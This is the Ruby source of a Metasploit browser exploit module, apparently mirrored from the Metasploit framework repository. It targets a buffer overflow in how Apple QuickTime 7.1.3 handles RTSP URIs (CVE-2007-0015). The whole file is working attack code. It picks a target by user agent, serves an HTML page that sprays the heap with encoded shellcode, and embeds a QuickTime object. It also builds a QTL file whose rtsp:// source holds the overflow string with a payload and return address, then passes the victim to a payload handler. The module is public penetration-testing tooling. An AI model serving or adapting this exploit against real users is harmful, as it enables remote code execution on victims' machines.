CoCalc -- apple_quicktime

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/browser/apple_quicktime_rtsp.rb
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::HttpServer::HTML
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  # include Msf::Exploit::Remote::BrowserAutopwn
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  # autopwn_info({
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  #  :os_name => OperatingSystems::Match::WINDOWS,
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  #  # No particular browser.  Works on at least IE6 and Firefox 1.5.0.3
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  #  :javascript => true,
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  #  :rank       => NormalRanking, # reliable memory corruption
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  #  :vuln_test  => nil,
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  # })
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Apple QuickTime 7.1.3 RTSP URI Buffer Overflow',
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        'Description' => %q{
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          This module exploits a buffer overflow in Apple QuickTime
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          7.1.3. This module was inspired by MOAB-01-01-2007.  The
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          Browser target for this module was tested against IE 6 and
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          Firefox 1.5.0.3 on Windows XP SP0/2; Firefox 3 blacklists the
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          QuickTime plugin.
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        },
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        'Author' => [ 'MC', 'egypt' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2007-0015' ],
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          [ 'OSVDB', '31023'],
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          [ 'BID', '21829' ]
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'process',
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        },
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        'Payload' => {
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          'Space' => 500,
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          'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40\x5c",
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'Automatic', {} ],
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          [
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            'Apple QuickTime Player 7.1.3',
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            {
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              'Ret' => 0x6855d8a2 # xpsp2/2k3 :( | vista ;)
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            }
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          ],
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          [
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            'Browser Universal',
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            {
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              'Ret' => 0x0c0c0c0c # tested on xpsp0 and sp2
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            }
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          ],
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        ],
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        'Privileged' => false,
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        'DisclosureDate' => '2007-01-01',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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  end
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  def on_request_uri(client, request)
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    return if ((p = regenerate_payload(client)) == nil)
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    if (target.name =~ /Automatic/)
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      if (request['User-Agent'] =~ /QuickTime/i)
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        target = targets[1]
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      else
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        target = targets[2]
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      end
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    end
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    cruft = rand_text_alphanumeric(4)
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    # This is all basically filler on the browser target because we can't
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    # expect the SEH to be in a reliable place across multiple browsers.
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    # Heap spray ftw.
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    sploit = rand_text_english(307)
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    sploit << p.encoded + "\xeb\x06" + rand_text_english(2)
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    sploit << [target.ret].pack('V') + [0xe8, -485].pack('CV')
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    if (request['User-Agent'] =~ /QuickTime/i or request.uri =~ /\.qtl$/)
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      print_status("Sending exploit QTL file (target: #{target.name})")
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      content = build_qtl(sploit)
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    else
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      print_status("Sending init HTML")
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      shellcode = Rex::Text.to_unescape(p.encoded)
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      url = ((datastore['SSL']) ? "https://" : "http://")
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      url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
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      url << ":" + datastore['SRVPORT'].to_s
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      url << get_resource
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      js = <<-ENDJS
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          #{js_heap_spray}
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          sprayHeap(unescape("#{shellcode}"), 0x#{target.ret.to_s 16}, 0x4000);
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      ENDJS
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      content = "<html><body><script><!--\n#{js}//--></script>"
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      content << <<-ENDEMBED
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          <OBJECT
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          CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
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          WIDTH="1"
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          HEIGHT="1"
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          CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">
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          <PARAM name="SRC"        VALUE = "#{url}/#{cruft}.qtl">
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          <PARAM name="QTSRC"      VALUE = "#{url}/#{cruft}.qtl">
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          <PARAM name="AUTOPLAY"   VALUE = "true"               >
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          <PARAM name="TYPE"       VALUE = "video/quicktime"    >
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          <PARAM name="TARGET"     VALUE = "myself"             >
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          <EMBED
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            SRC        = "#{url}/#{cruft}.qtl"
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            QTSRC      = "#{url}/#{cruft}.qtl"
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            TARGET     = "myself"
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            WIDTH      = "1"
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            HEIGHT     = "1"
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            AUTOPLAY   = "true"
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            PLUGIN     = "quicktimeplugin"
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            TYPE       = "video/quicktime"
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            CACHE      = "false"
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            PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >
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          </EMBED>
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          </OBJECT>
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      ENDEMBED
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      content << "</body></html>"
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    end
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    send_response(client, content, { 'Content-Type' => "text/html" })
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    # Handle the payload
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    handler(client)
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  end
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  def build_qtl(overflow)
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    cruft = rand_text_english(4)
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    content = "<?xml version=\"1.0\"?>\n"
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    content << "<?quicktime type=\"application/x-quicktime-media-link\"?>\n"
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    content << "<embed autoplay=\"true\" \n"
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    content << "moviename=\"#{cruft}\" \n"
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    content << "qtnext=\"#{cruft}\" \n"
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    content << "type=\"video/quicktime\" \n"
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    content << "src=\"rtsp://#{cruft}:#{overflow}\" />\n"
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  end
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end
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